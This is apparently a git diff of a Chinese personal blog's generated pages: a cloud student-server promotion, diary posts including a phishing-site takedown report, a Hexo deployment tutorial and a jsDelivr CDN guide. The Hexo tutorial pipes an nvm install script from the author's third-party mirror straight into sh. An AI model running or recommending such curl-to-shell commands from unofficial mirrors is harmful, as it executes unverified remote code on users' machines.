+

答题开始即开始计时,中途不可暂停,如超时则自动提交

1、考试共 (10) 道题,总分100分,及格分数60分
2、考试需在(10分钟)内交卷,过程中无法暂停,请提前安排好时间;如未及时交卷,则本次考试作废
3、推荐使用 Chrome 浏览器(版本:73及以上的正式版本),或Firefox浏览器(版本:66及以上的正式版本)

+
+

反正我做下来也挺简单的,拿了个80分,不会的可以去百度一下,10分钟10道题时间绝对够

+

服务器相关信息

+

然后回到页面,你就有资格领取服务器啦!建议早上八点蹲点领取哦~

+

如果你是教师,你还可以通过教师认证,拿多一台服务器,岂不美哉?

+

阿里云活动规则如下:

+
+

一、活动对象:国内全日制在校学生

二、符合以下条件用户可参与:

  • 阿里云注册且个人实名认证用户
  • 完成学生认证
  • 完成学习课程并通过测试

三、活动规则

1. 全日制在校大学生,需同时完成阿里云个人实名认证、学生认证,且两者信息一致,认证通过后,完成学生计划的学习课程,并通过测试,同一用户可免费领取1台云服务器ECS(仅限当前未保有 ECS用户 )和学习课程资源。

2. 学生计划提供的云服务器ECS产品数额有限,每天8点开放固定领取名额 ,先到先得,领完即止。用户领取时应确认地域等相关选择信息,开通后不允许更改配置。

3. 学生计划用户免费领取的云服务器ECS,有效期自领取日起6个月内有效。用户学生认证在有效期内且有效时长大于等于6个月的用户,云服务器ECS到期释放前30天内,可登录个人中心,参加阶段性学习考试,测试通过,可免费续期1次,时长为6个月,续费实例规格需跟领取时一致才可享受。使用过程中如需对领取产品进行升级,请按照标准费用进行升级。

4. 如学生用户账号下存在正在使用的ECS产品或已通过云翼计划购买或未支付订单,会导致系统对用户领取资格的审核无法通过;在此情况下,用户ECS产品到期释放后、作废相应的未支付订单后,方可正常参与相应产品的领取。

5. 参与阿里云高校在家实践计划的学生用户,同一用户最多可保有2台云服务器ECS,指包括满足学生计划条件用户,领取的1台云服务器ECS(同一用户限领1台),和通过教师计划,满足实名认证和学生认证条件用户,获得教师提供兑换码,验证成功,领取的1台云服务器ECS(同一用户限领1台)。

6. 参与阿里云高校在家实践计划的学生用户,通过教师提供兑换码,领取的云服务器ECS,仅用于教师指定课程学习使用,课程结束后,请及时保存相关数据并进行ECS资源释放。如需继续使用,请自行进行续费操作。

7. 用户参与阿里云高校在家实践计划(含学生计划)所获得的相应权益,仅限本人使用,不得转让、出售或以其他方式换取利益。

8. 为保证活动的公平公正,阿里云有权对恶意刷抢(如通过程序等技术手段)活动资源,长期资源闲置 ,利用资源从事违法违规行为的用户收回免费领取ECS使用资格。

9. 如用户在活动中存在隐瞒、虚构、作弊、欺诈或通过其他非正常手段规避活动规则、获取不当利益的行为,例如:作弊领取、恶意套现、网络攻击、虚假交易等,阿里云有权收回相关权益、取消用户的活动参与资格,撤销违规交易,必要时追究违规用户的法律责任。

10. 活动名称仅为方便用户理解参考使用,不具有效力,实际活动内容以具体活动规则为准。

四、名词及解释

1. “阿里云官网”,是指包含域名为www.aliyun.com的网站以及阿里云客户端,如APP,但阿里云国际站,包括alibabacloud.com以及所有下属页面和jp.aliyun.com以及所有下属页面除外。

2. “同一用户”,是指根据不同阿里云账号在注册、登录、使用中的关联信息,阿里云判断其实际为同一用户。关联信息包括但不限于同一证件号、同一手机号、同一支付账号、同一设备、同一地址等。

3. “同人账号”,是指同一用户拥有多个阿里云账号的,各个账号之间互为同人账号。

4. “指定云产品”,是指某场具体活动列举的云产品(如上文所提ECS)。

5. 除非有相反证据证明外,用户参与活动所获得的全部权益和相应责任,均归属于参与活动的该阿里云账号所对应的实名认证主体。

6. 阿里云可以根据活动的实际情况对活动规则进行变动或调整,相关变动或调整将公布在活动页面上,并于公布时即时生效;但不影响用户在活动规则调整前已经获得的权益。

+
+

不说了,我要去白嫖了!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary5/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/diary6/index.html b/posts/diary6/index.html new file mode 100644 index 0000000000..4bfa362570 --- /dev/null +++ b/posts/diary6/index.html @@ -0,0 +1,295 @@ +“陪伴是最长情的告白” | GamerNoTitle + + + + + + + + + + + + + +

“陪伴是最长情的告白”

这应该是我第一次写这种对话式的文章,怎么说呢,本文其实是我要说的一些东西……

+

相信经常跟我聊天的群友们知道,我现在(2020.7.15)是一名高三学生,在2021年参加高考,也就是说,现在我其实并没有什么精力放在网站的维护和文章的撰写上

+

2019年7月1日,本站正式上线,当时还是本主题的早期开发版,功能还挺少的,而且没有多级导航菜单。文章只有一篇hello world,直到我7月5号写了当时我用的挺多的一个软件——cmder,才有了第一篇文章

+

7月9号,我同学LOL想带我上分,但是发现自己的电脑系统坏了,问我怎么装,我说了以后他并没有明白,就写了一篇Windows安装教程

+

此后,我一直在更新一些软件分享类的教程,当然也包括hexo的部署直播服务器srs的搭建CloudFlare Workers的实战等文章,当然其中包括我高一同学合作完成的小说“这个故事由我开始,也应由我来结束”(主页隐藏)

+

到了今年的寒假,因为新冠肺炎爆发,我在家里很无聊,开始写起了爬虫,就出现了Hitokoto-SpiderNetease-Comment-Spider这两个项目,其实这是我第一次将python的知识拿来实战,后来就开始不断用python弄各种东西,包括Valine-Magic,还写了几个MCDReforged的插件,深刻地体会到了开发的乐趣

+

2020/5/11这一天,我回到了学校,开始复学。从这天开始,我露头的机会就少了很多,主要是①从工作室退休了 ②不是经常坐在电脑前,所以大家的留言我会比较晚回复(高PING战士)

+

不过我还是在坚持更新Valine-Magic,渐渐地从Github中回到了现实生活

+

2020/7/15这天,我正式考完了高二最后一场考试,升到了高三。我将在2020年8月9日返校开学,到那时,我将会真正投入学习,所以就没什么精力去更新本站和Valine-Magic(可以交Issue和PR),希望各位友链大佬能够给小弟保留一个位置

+

陪伴是最长情的告白,感谢各位访客的陪伴,到了今天在我写这篇文章的时候,UV是7538,PV是24138。不管你是刚来到本站,还是以前就来过本站,我在这里都感谢你们。我将在2021年6月8日到2021年6月10日参加全国高考,届时等我合上笔盖,从学校回到开发界,我相信我能够闯出属于我的天空!

+

想与我联系,可以使用QQ加3559869084或者发邮件到admin@bili33.top,我的索爱W595C虽然已经饱经沧桑,但是他还是能看邮件的……

+

菠咯波咯哒のSony Ericsson W595C

+

GamerNoTitle

+

2020-07-15 18:27:01

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary6/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary7/index.html b/posts/diary7/index.html new file mode 100644 index 0000000000..faaa42d241 --- /dev/null +++ b/posts/diary7/index.html @@ -0,0 +1,310 @@ +日常吐槽07 - 记录一次成功的举报经历 | GamerNoTitle + + + + + + + + + + + + + +

日常吐槽07 - 记录一次成功的举报经历

在这里仅记录我成功举报的一次经历,希望大家引以为戒,同时,我不玩PUBG,也不用约我打PUBG

+

另外,我在发邮件的过程中忘记用其他邮箱了,也就是我用了我的域名邮箱admin@bili33.top,如果现在在看本文的是那位办网站的老兄,请你记住:不管有多少这样的网站,只要我遇到了,通通举报!我不会改变我的做法,我希望弄这些钓鱼网站的人更少,同时给PUBG一个良好的游戏环境!

+
+ +

前几天我在浏览Steam商城,因为当时没啥好玩的了,想去看看有啥游戏,结果发现了下面这样的信息(我看到的是评测中的信息,忘记截图了,而且那个用户也被我举报并屏蔽且被V社处理了,这里是一张网上的图,我遇到的给的链接是pubgjosn.fun(危险别点))

+

网图

+

点进去用户界面,看到是个把个人信息设置为隐私的账户(此处仍然为网上的图

+

还是网图

+

我点进去一看,哟,这不是钓鱼网站嘛,长得还挺像PUBG的官网,不过开篇就是给枪皮,这价值我也不知道有多少,反正看这域名就不是官方网站

+

非官方网站

+

我试着在这个页面点击除了领取以外的按钮,发现就连阅读个新闻也要登录,这不符合逻辑,看来这个网站没啥,也就UI像了点,其他没啥

+

弹出来给我的Steam登录界面,地址栏写的是about:blank,也就是所谓的空白页,但是按照Steam的登录页面的逻辑,他应该是会写https://steamcommunity.com/?XXXXX之类的,这肯定也是个钓鱼的登录界面,随便输入个账号,就要手机验证码,骗谁呢~

+

接着,我去查了一下whois,发现他的DNS解析在CloudFlare,因为听说CloudFlare有停止解析服务这一说,所以我就去CloudFlare投诉了一波(投诉界面忘记截图了)

+

第二天早上起来,发现CloudFlare给我发了封邮件

+

CF的邮件

+

接着,我访问该网站,发现已经被挂上了红色警告

+

CF小红信

+

CloudFlare这波干的不错,返回来看CF给我发的邮件,里面还说到了以下几种方法(黄色部分,这里是在mail.ru,也就是我的域名邮箱托管的平台)

+

CF的提示

+

然后我又去查了一次whois,发现他是在reg.ru这个网站上注册的域名,接着我又去查这个网站的举报方式,发现了abuse@reg.ru这个举报邮箱

+

接着再发一封邮件,提出这种情况

+

发邮件给reg.ru

+

不久后便收到了来自该域名注册平台的邮件

+

REG.RU的回复

+

举报完成,收工!

+

在我即将开始写文的时候,发现我的Steam弹了一条V社的信息

+

V社的信息

+

这次举报真的大快人心!

+

下次继续!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary7/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary8/index.html b/posts/diary8/index.html new file mode 100644 index 0000000000..72fc1437a2 --- /dev/null +++ b/posts/diary8/index.html @@ -0,0 +1,328 @@ +日常吐槽08 - 换用Blackberry9720三个月后的感受 | GamerNoTitle + + + + + + + + + + + + + + +

日常吐槽08 - 换用Blackberry9720三个月后的感受

先给你们看看我的Blackberry9720(下图)

+

+

因为我的索爱在8月的时候听筒听不见声音了(平时使用其实没多大问题,主要是打电话……),所以我就换上了这台高一同学给的BB9720

+

让我来总结一下使用体验

+
+

日常使用

先放一张手机桌面

+

日常使用其实跟索爱没啥区别,就是键盘是26键,系统也是BBOS7不是塞班

+

打电话?NP!发短信?NP!索爱能做的它都能做

+

不过跟索爱也有同样的问题:SSL证书不信任

+

这可真是个灾难(背后网站是萌娘百科)

+

访问某些网站,证书比较新的那种,就会出现这个问题……(难受+1)

+

不过其他还是NP的,收邮件这一块我安装了一个LogicMail(主要是因为不能企业激活,毕竟服务商是MTN)

+

LogicMail主界面

+

不过有的时候LogicMail会抽风(指Opening Connection这个步骤会直接失败),就需要一波硬重启(因为黑莓的重启有两种,一种是平常长按电源键关机后开机,那种开机很快,大约10~15s就完成了,另一种是拆电池,这样的重启会长达5分钟,主要是需要加载所有的应用程序),但是我不想每次都拔电池,所以我用了一个QuickPull来硬重启

+

QuickPulllllllllllllllllllllllllll!!!

+
+

耗能体验

总的来说,如果一天重度使用(指经常浏览网页,看视频等),连半天都撑不过去(毕竟是旧手机)

+

不过按照我的使用习惯,两天一充还是可以的,不过充电速度有点……

+

激泪的充电速度

+

电池只有2000mAh,只能说还行

+
+

娱乐体验

微信

一句话:完 全 不 能 用!!!

+

微信好像已经被腾讯放弃了(事实也是如此,QQ同理),一直在这里转圈

+

BBOS7的微信

+

看片

只能看720P以下的视频,只支持主流的格式(不包括FLV)

+

看不玩不活零

+

一定要下载好,不过体验还行:D

+

听歌

听Brain Power

+
+

O-oooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA

+
+

也是要下载好,不过可以听FLAC就好评(索爱不行)

+

文档

英语作文练习

+

就很NICE,索爱不能看文档,BlackBerry除了可以看docx还能看pptx、xlsx、pdf,就很舒服

+

游戏

我就装了个2048(益智游戏)

+

2048菜鸡分数

+

软件体验

有独立的软件商店,可以安装软件,但是我不知道怎么从第三方安装软件

+

软件商店

+

已购列表

+

但是有点问题就是,免费软件有广告,会推送到邮件客户端里面(不是LogicMail,是内置的那个邮件客户端)

+

垃圾广告

+
+

总结

总的来说,BlackBerry9720给我的体验还算不错,反正就剩下一年了,拿来临时用一用还是可以的

+
+

题外话

界面是英文是因为中文字体看不惯才换的,并不是只有英文

+

月考考完了,芜湖起飞!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary8/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/diary9/index.html b/posts/diary9/index.html new file mode 100644 index 0000000000..82f9b5e409 --- /dev/null +++ b/posts/diary9/index.html @@ -0,0 +1,303 @@ +日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事 | GamerNoTitle + + + + + + + + + + + + + + + +

日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事

+

本文直接从我个人的讨论区复制过来的,图片是GithubUserContent域名下的,加载可能有点慢

+

原链接:关于得知Github查封Action仓库的信息后我自行删除脚本的这档事 #2

+
+

关于得知Github查封Action仓库的信息后我自行删除脚本的这档事(不要以为随便起个标题就是长标题了呀喂(#`O′))

+

昨天(2021.5.19)收到别人在我的网站下留言是这么说的:
image
鉴于这位之前发过mcbbs的账号给我,所以我迅速就取得了联系(邮件上),然后得到了下面的消息(直链):
imageimage

+

我也是非常震惊,本来打算第二天(2021.5.20)把所有仓库删了的(因为临近高考没带智能手机),但是正巧,晚上有同学来找我拷毕业照拍摄当天的照片,所以我就借了一台手机把我的源码备份了然后全部删除了

+

这就是我删除了我的仓库的原因,按道理,所有的Fork会变成Origin类型的仓库(即源仓库,搜索是能检索到的),但是实际上当我检索我的两个仓库的时候就发现,220+的wyycg-autocheckin只有 个搜索结果,而另一个有120+的bilibiliJudge只有2个搜索结果
image
image

+

说明Github这波是真的行动了,可能是我行动比较早,所以目前没受到封号

+

有的人可能会问:如果我把仓库调成私有呢?
结果是:虽然私有仓库GItHub官方”不能”看到你的内容和Action的详细记录,但是发现了异常他们也可以提权处理
image

+

至于那些没有提供Action的运行方式的而是云函数的那些,也遭到了不同程度的后果
image
image

+

那如果我配布到Gitee呢?
事实上,Gitee的功能并没有Github那么好用,而且就个人而言我比较讨厌Gitee,所以我应该是不会配布到Gitee的
image

+

总而言之,这一次的时间对于整个脚本界都是一次灾难,我们从来没有想过Github会清理脚本类型的仓库。对我来说,因为行动比较早所以没有受到严重的影响,但是我近期应该不会再致力于脚本的开发工作了,临近高考压力也比较大。等高考完网易云那个应该会做成云函数版在Github重新配布(会配Action文件但是如果要启用的话需要自己挪入对应的位置),B站那个嘛,看情况而论。

+
+

题外话:
虽然我每次都把三个Badges丢在脚本的开头,但是实际上没有任何一个人给我赞助(o(╥﹏╥)o)
前往爱发电赞助 使用微信赞助 使用支付宝赞助

+

有的时候我在想:做脚本是否是一件正确的事情,
之前我的B站仲裁脚本只是开了个坑(建了个仓库并写了个README),就有别人来支持我了,到现在我们两个还保持着联系。他经常发我一下风纪委员会的总结专栏下面的评论:
image
image

+

我们在做/使用脚本的过程中是否侵犯了其他用户的利益,我觉得这是值得我们脚本开发者和使用者深思的事情。反正我近期不会再开发脚本了(一部分是高考,一部分是现在在做Koikatu的卡牌,不懂得自己搜)

+

如果你有什么建议/意见,可以在这个Discussion下面留言,看到必回。就这样(^o^)/

+
+

2021/5/22 更新

今天回家后发现本人小号有两个仓库已经中招了
image
image
image

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary9/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/hexo-deploy-guide/index.html b/posts/hexo-deploy-guide/index.html new file mode 100644 index 0000000000..ad98eb4aaa --- /dev/null +++ b/posts/hexo-deploy-guide/index.html @@ -0,0 +1,422 @@ +最全面的Hexo部署方法,交给你了~ | GamerNoTitle + + + + + + + + + + + + + + + + +

最全面的Hexo部署方法,交给你了~

温馨提示:推荐点击左下角箭头打开目录,方便你更好地找到内容!

+

开始

什么是Hexo?

(我不多BB了,去看官网吧,介绍什么的真的不适合我……)

+

如何安装?

准备工作

你需要的东西有:

+

一个带有Page服务的仓库(推荐Github,Coding)

+

一台电脑(Windows或Linux均可,差别不大)

+

最后就是耐心(这个过程可能会很枯燥的说~)

+
前期准备
安装Node.js

安装 Node.js 的最佳方式是使用 nvm。nvm 的开发者提供了一个自动安装 nvm 的简单脚本:

+Curl: +
$ curl -o- https://cdn.bili33.top/nvm-sh/nvm/v0.34.0/install.sh | sh
+wget: + +
$ wget -qO- https://cdn.bili33.top/nvm-sh/nvm/v0.34.0/install.sh | sh
+安装完成后,重启终端并执行下列命令即可安装 Node.js。 + +
$ nvm install stable
+
Windows 用户

对于windows用户来说,建议使用安装程序进行安装。安装时,请勾选Add to PATH选项。
另外,您也可以使用Git Bash,这是git for windows自带的一组程序,提供了Linux风格的shell,在该环境下,您可以直接用上面提到的命令来安装Node.js。打开它的方法很简单,在任意位置单击右键,选择“Git Bash Here”即可。由于Hexo的很多操作都涉及到命令行,您可以考虑始终使用Git Bash来进行操作。

+
+ +
Linux 用户

大部分 Linux 发行版都会在它们的默认软件包仓库中分发 Node.js。第三方仓库 NodeSource 通常能分发最新版本的 Node.js。

+
+ +
可选操作:

由于众所周知的原因,使用npm进行安装速度十分缓慢。也可以参考这个页面,利用国内镜像安装npm模块。

+
+ + +
安装Git

Windows:下载并安装 git.
Mac:使用 Homebrew, MacPorts :brew install git;或下载 安装程序 安装。
Linux (Ubuntu, Debian):sudo apt-get install git-core
Linux (Fedora, Red Hat, CentOS):sudo yum install git-core

+
Windows 用户

由于众所周知的原因,从上面的链接下载git for windows最好挂上一个代理,否则下载速度十分缓慢。也可以参考这个页面,收录了存储于百度云的下载地址。

+
+ + +
安装Hexo

当你确定你已经安装完了Node.js和Git,就可以使用npm安装hexo了,使用

+
1
$ npm install -g hexo-cli
+ +

或(安装了cnpm国内镜像的情况下,下面所有的npm命令均可换为cnpm命令,下面不再说明

+
1
$ cnpm install -g hexo-cli
+ + + +
初始化Hexo文件夹

在你认为合适的地方新建一个文件夹,文件夹名字自拟,然后使用

+
1
$ hexo init
+ +

来初始化你的文件夹(文件夹必须是空的),并且使用

+
1
$ npm install
+ + + +

来安装相关的依赖库!

+

初始化库和安装依赖

+

配置网站

当你安装完所有的依赖以后,你就可以配置你的网站。

+

你也可以使用

+
1
$ hexo s
+ +

来进行本地调试,在浏览器中输入localhost:4000进入自己的网站。

+

关于hexo目录下的_config.yml文件

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Site
title: <title> #自己的网页名字,将在标签页标题中显示为<title> - <subtitle>
subtitle: <subtitle> #副标题,在标签页标题显示
description: <descr> #网页描述(讲真我不知道有啥用)
keywords: <keywords> #网页搜索关键词
author: <author> #网页作者
language: en #网页语言,若主题支持中文可以不用改
timezone: #时区,可以不改

# URL
## If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/'
url: http://yoursite.com #网页网址,一般填写主页的地址,例如我的网页就填http://bili33.top
root: / #网站根目录,可以不改
permalink: :year/:month/:day/:title/ #网页永久链接格式,可以自己修改
permalink_defaults:
+ +

关于主题:

+

主题可以去https://hexo.io/themes/找,也可以在github逛一逛,说不定就找到好主题了呢?

+
1
2
3
4
# Extensions
## Plugins: https://hexo.io/plugins/
## Themes: https://hexo.io/themes/
theme: landscape # 主题名字,landscape是默认主题,改成你的主题文件夹的名字即可!
+ +

在clone的时候建议用git clone .address> theme/.theme name> 这样方便管理~

+

关于主题的配置,详情请见各主题说明文档!

+

部署网站

在准备东西的时候,我们准备了一个github(或coding)账号,下面以github为例子

+

在Github中新建一个仓库,仓库名自拟,也可以采用官方格式.username>.github.io,一定要设为公开仓库(有Github Pro的当我没说)

+

然后回到你的hexo文件夹,打开命令窗口,输入

+
1
$ npm install hexo-deployer-git --save
+ +

来安装git的部署器,其他部署器请看这里

+

打开_config.yml,拉到最底下,会发现有个Deployment,你可以按照我下面这么填写

+
1
2
3
4
5
6
# Deployment
## Docs: https://hexo.io/docs/deployment.html
deploy:
type: git
repo: <repo address> # 请替换为你的仓库地址!
branch: master
+ +

填写完成后,保存即可,然后打开命令窗口,使用

+
1
2
3
$ hexo clean #不是必要的
$ hexo generate
$ hexo deploy
+ +

来部署你的网站,其中generate可以简写为g,deploy可以简写为d,如果觉得打两行命令太麻烦,可以使用

+
1
$ hexo d -g
+ +

一条命令来直接部署,省去不必要的麻烦。

+

你也可以同时部署多个仓库,例如

+
1
2
3
4
5
6
# Deployment
## Docs: https://hexo.io/docs/deployment.html
deploy:
type: git
repo: <repo1 address>,master # 请替换为你的仓库地址!
repo: <repo2 address>,master # 请替换为你的仓库地址!
+ +

这样编写的话一次部署,两边的仓库都会上传~

+

部署完成后,请到你的Github仓库的设置中,找到Github Pages,将source选到master branch来打开Pages服务!

+

撰写文章

你可以使用

+
1
$ hexo new "<article name>"
+ +

来创建一篇文章,它会出现在source/_posts中,是一个.md文件,使用md编辑器打开(推荐Typora)编辑即可,支持markdownhtml语法

+

小技巧

添加自定义域名

每次部署hexo都会清除你的库并且重新部署,这意味着如果你在Github的设置中添加自定义域名(会生成CNAME文件)每次都会被清除,为了避免这种麻烦,我们可以使用在source文件夹里新建CNAME文件

+

CNAME文件

+

并且在CNAME文件中填写你的域名

+

CNAME

+

这样就可以避免每次部署都清除掉自定义域名,导致网站404了~

+

自定义404页面

你可以在/themes/.themes name>/source中放置你的404页面,当你的网站页面不存在的时候,就会显示404页面,可以引用css文件和js文件,只要跟404页面放在同一目录即可!

+

404

+

如何直接看到404呢?你可以直接在网站后面加上/404就可以进入404页面了~

+

添加看板娘(live2d)

你是否也想像我一样领养一只猫呢?或者领养一只~

+

回归正题,我们要怎么领养一只萌萌哒看板娘呢?当然还是要用到插件的说~

+

先安装插件hexo-helper-live2d

+
1
$ npm install hexo-helper-live2d --save
+ +

等待安装完后,在你的网站根目录的_config.yml中加入(可以直接复制粘贴)

+
1
2
3
4
5
6
7
8
9
10
11
12
#hexo-helper-live2d
live2d:
enable: true #是否开启显示
pluginModelPath: assets/
model:
use: live2d-widget-model-tororo #模板目录,在node_modules里
display:
position: right
width: 150
height: 300
mobile:
show: false #是否在手机进行显示
+ +

然后,找到你喜欢的模型进行安装,并把model的use属性的文本改成你安装的看板娘的文件夹名字(在node_modules里面)即可!

+

这样你就可以像我一样领养一只萌萌哒看板娘了~

+

搜索引擎站点认证

当你提交站点到搜索引擎的时候,免不了的就是认证你的站点。当然,认证方式有很多种,例如什么把标记放在.head>./head>之间啦,什么文件认证啊之类的,太多了

+

当然最方便的就是文件认证了,下载一个文件到本地,然后传到你的网站上面。

+

有的人就会问了,文件要放在哪里呢?

+

其实有两个地方都可以放,一个是根目录的source文件夹,另一个就是主题里面的source文件夹,都可以放,放在这两个文件夹的根目录即可!

+

添加站点地图

当你想让你的网站被Google或者Baidu什么的收录的时候,你就需要用到站点地图。

+

使用以下命令安装站点地图插件

+
1
2
$ npm install hexo-generator-baidu-sitemap --save #安装Baidu的站点地图,为Baidu优化过的
$ npm install hexo-generator-sitemap --save
+ +

然后打开网站根目录的_config.yml文件,加入以下条目:

+
1
2
3
4
5
6
7
8
Plugins:
- hexo-generator-baidu-sitemap
- hexo-generator-sitemap

baidusitemap:
path: baidusitemap.xml
sitemap:
path: sitemap.xml
+ +

这样每次部署就会生成一个baidusitemap.xml和一个sitemap.xml文件,用于提交站点地图

+

这里以google为例子描述怎么添加站点地图

+

当你的网站提交到Google后,为了点击量高,我们会提交站点地图,在左边的栏目中选择站点地图,然后在上面”添加新的站点地图”中填写.Your Link>/sitemap.xml即可,Google会定期收集你的站点,并且展示在搜索结果上

+

Google Webmaster

+

Google Search Result

+

添加RSS订阅

虽然我不知道这年头谁还用RSS,但是有好过没有嘛

+

先打开命令窗口,然后输入命令安装插件

+
1
$ npm install hexo-generator-feed --save
+ +

安装完成后,在网站的根目录中的_config.yml中,加入以下内容

+
1
2
3
4
5
6
7
8
#RSS订阅
plugin:
- hexo-generator-feed
#Feed Atom
feed:
type: atom
path: atom.xml #RSS文件名字,可自定义
limit: 20
+ +

当你加入RSS订阅按钮的时候,就可以设置链接到你的/atom.xml文件(RSS文件名字改过的当我没说),这样当别人点击你的RSS按钮时,就会弹出订阅提醒,让别人订阅你的网站。

+

按钮调用邮件应用

如果你想让别人联系你,那么最方便的方式就是通过电子邮件了。如何才能让别人点击链接或者按钮直接调用邮件应用发邮件给你呢?实例

+

在文章中,可以使用这样的编写格式

+
1
[<Text>](mailto:<Email Address>)
+ +

这样当别人点击.Text>的时候,就会调用电子邮件应用,同样如果是按钮的话,只需要将按钮的链接设为

+
1
mailto:<Email Address>
+ +

即可调用电子邮件程序!

+

结尾

Hexo的教程我就写了这么多,可能有些没写到的或者我没想到的,有可能在将来会偶尔更新一下这篇文章,当然,如果你有什么问题,欢迎发邮件到admin@bili33.top来与我探讨,我非常欢迎!如果你想与我交换友链,请到友情链接网页的评论区留言,我有时间会看评论的.商业网站勿扰哦~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/hexo-deploy-guide/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/jsDelivr-Usage/index.html b/posts/jsDelivr-Usage/index.html new file mode 100644 index 0000000000..cfc754cf65 --- /dev/null +++ b/posts/jsDelivr-Usage/index.html @@ -0,0 +1,331 @@ +jsDelivr的正确打开方式 | GamerNoTitle + + + + + + + + + + + + + + + +

jsDelivr的正确打开方式

文章已经在2020.4.5更新

+
+ +

开始持续高产前几天开始,github的raw文件下载域名raw.githubusercontent.com被墙了,导致我的网站很多图片都是404(因为我是直接使用github的文件),我转为使用cloudflare的workers反代。但是反代有每日10W次的请求次数限制。万一以后我的网站访问量增大了呢?这样岂不是不够用?(在想Peach)

+

没错,我在想もも

+

今天早上我才在【日常吐槽04】的评论区里面说不会用jsDelivr,到了晚上,嗯,真香……

+

jsDelivr

+

jsDelivr是一个比较好的CDN平台,官方号称jsDelivr – Open Source CDN free, fast, and reliable,简单来说就是开源的CDN,免费、快、可靠这样的

+

不过确实,这玩意的口碑也挺好,那我就按照我半天的使用体验,来说说这玩意的正确打开方式吧

+
+

你需要准备:

一个github账号

+

开始操作

你需要登录你的Github,创建一个你想用来放文件的仓库,然后在这个仓库里面上传你的文件,像我这样

+

上传文件后的仓库

+

然后点击Release,新建一个版本,在上面的小方框里面填写你的版本号,尽量填写数字,例如1.0之类的,不要用中文!!!

+

新建Release

+

接着直接调用jsDelivr,例如我在名为Picture-repo的仓库发布了1.0版本,那么我访问链接:

+

https://cdn.bili33.top/gh/Vikutorika/assets@master/AboutMe/logo-mini.png

+

就可以直接调用我的头像,按照官方的格式,就是

+

https://cdn.jsdelivr.net/gh/<username>/<repo-name>@<version>/<path>

+

的样子,解释一下:

+

<username>就改成自己的名字,<repo-name>改成自己的仓库名字,<version>就是你的release版本,如果不填会自动选择最新的release<path>改成自己的文件路径。当我上传的时候我的文件夹路径是.\folder\example.png的话,那么<path>就要改成folder/example.png

+

但是请注意!当你的release包大于50MB,那么jsdelivr会给你报错并且不给你提供加速服务,例如下面这条链接:

+

https://cdn.jsdelivr.net/gh/NotFoundNEKKO/Storage@1.0/表情包/真叫人质壁分离.jpg

+

点开就会发现提示:

+

Package size exceeded the configured limit of 50 MB. Try https://github.com/NotFoundNEKKO/Storage/tree/1.0/表情包/真叫人质壁分离.jpg instead.

+

所以说还是要尽量减少自己每个release的大小,如果说太大了建议分成几个仓库放哦~

+

从群友那里学来的:当你的版本号写为master时,只需要第一次发布release即可,后面直接用master分支的文件,也没有50MB的文件包大小限制

+
+ +
+

2020.4.5 更新:Github Page法

+ +

根据评论区@Anonymous的回复,发现有另外一种方式也能够访问Github中的文件(而且还是raw)

+

我们还是以上面那个仓库为例子,先到仓库中的设置,打开Github Pages服务

+

打开Github Pages服务

+

然后我们可以看到Github将我的这个仓库的page服务部署到了https://bili33.top/Picture-repo/这个链接

+

我们尝试访问仓库中的文件

+

在这里我访问的是我的网站头图↓

+

网站头图(以Page方式加载)

+

可以看到,的确是可以进行访问的。而如果在Github Pages服务中开启自定义域名的话,还能够配合CloudFlare的CDN进行一波加(jian)

+

+
+

题外话:

+

但是还是有人要直接访问raw.githubusercontent.com域名,所以我在这里开放出我的反代

+

当你访问了域名为raw.githubusercontent.com的文件后(后面应该有一大串的文件路径链接),把它改成下面任意一个域名

+

反代1:cdn.bili33.top(每日请求上限较少,因为我的反代都在这里)

+

反代2:bilicdn.tk(推荐)

+

希望能够帮到大家吧~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/jsDelivr-Usage/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/lanqiao-2022-province/index.html b/posts/lanqiao-2022-province/index.html new file mode 100644 index 0000000000..9c55155ced --- /dev/null +++ b/posts/lanqiao-2022-province/index.html @@ -0,0 +1,432 @@ +蓝桥杯2022年B组省赛 —— 个人题解 | GamerNoTitle + + + + + + + + + + + + + +

蓝桥杯2022年B组省赛 —— 个人题解

+

这篇是后来补发的,过了老久才想起来我的蓝桥杯题解还没发出来,所以这里补一份

+
+

